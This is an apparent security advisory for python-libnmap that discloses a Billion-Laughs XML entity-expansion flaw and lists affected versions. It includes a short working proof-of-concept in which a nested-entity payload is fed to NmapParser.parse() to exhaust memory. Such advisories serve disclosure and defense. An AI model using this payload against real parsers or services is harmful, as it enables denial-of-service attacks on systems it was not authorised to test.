XML Injection in python-libnmap

2019-07-1815:38:41

Google

osv.dev

0.001 Low

EPSS

Percentile

49.7%

JSON

Description

python-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.

PoC

ty = NmapParser()

payload = """
&lt;!DOCTYPE lolz [
 &lt;!ENTITY lol "lol"&gt;
 &lt;!ELEMENT lolz (#PCDATA)&gt;
 &lt;!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"&gt;
 &lt;!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"&gt;
 &lt;!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"&gt;
]&gt;
&lt;lolz&gt;&lt;hello&gt;&lol3;&lt;/hello&gt;&lt;/lolz&gt;
"""

ty.parse(payload)

CPENameOperatorVersion
python-libnmapeq0.6.3
python-libnmapeq0.4.0
python-libnmapeq0.4.6
python-libnmapeq0.2.8
python-libnmapeq0.5.0
python-libnmapeq0.2.3
python-libnmapeq0.6.1
python-libnmapeq0.7.0
python-libnmapeq0.6
python-libnmapeq0.2.4

Name	Operator	Version
python-libnmap	eq	0.6.3
python-libnmap	eq	0.4.0
python-libnmap	eq	0.4.6
python-libnmap	eq	0.2.8
python-libnmap	eq	0.5.0
python-libnmap	eq	0.2.3
python-libnmap	eq	0.6.1
python-libnmap	eq	0.7.0
python-libnmap	eq	0.6
python-libnmap	eq	0.2.4